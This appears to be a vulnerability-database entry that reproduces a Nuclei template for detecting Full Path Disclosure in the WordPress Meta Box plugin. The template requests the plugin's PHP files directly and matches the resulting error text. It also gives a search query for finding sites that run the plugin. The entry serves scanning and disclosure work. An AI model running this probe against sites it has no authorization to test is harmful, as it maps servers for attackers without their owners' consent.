wordpress-meta-box-fpd: WordPress Meta Box - Full Path Disclosure

2026-01-08 WordPress Meta Box PoC Public

Description

The Meta Box – WordPress Custom Fields Framework plugin for WordPress was detected to be vulnerable to Full Path Disclosure, allowing unauthenticated attackers to obtain the full application path.

PoC

id: wordpress-meta-box-fpd

info:
  name: WordPress Meta Box - Full Path Disclosure
  author: pussycat0x
  severity: low
  description: |
    The Meta Box – WordPress Custom Fields Framework plugin for WordPress was detected to be vulnerable to Full Path Disclosure, allowing unauthenticated attackers to obtain the full application path.
  reference:
    - https://wordpress.org/plugins/meta-box/
  metadata:
    publicwww-query: "/wp-content/plugins/meta-box/"
  tags: wordpress,wp-plugin,fpd,disclosure,meta-box,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/meta-box/meta-box.php"
      - "{{BaseURL}}/wp-content/plugins/meta-box/inc/loader.php"
      - "{{BaseURL}}/wp-content/plugins/meta-box/inc/core.php"

    stop-at-first-match: true

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200 || status_code == 500'
          - 'contains(body, "wp-content/plugins/meta-box")'
          - 'contains_all(body, "Fatal error", "Uncaught Error:") || contains_all(body, "Warning:","failed to open stream")'
        condition: and
# digest: 4b0a00483046022100b5ae3444826f9d01fe0dc215b8eef138112985ff434db23a5cc80bfd464a92bd022100850a1340540ffe3e548700291d663a1c1af4260463cdf2cb15674b3d89071c3f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/misconfiguration/wordpress/wordpress-meta-box-fpd.yaml

References

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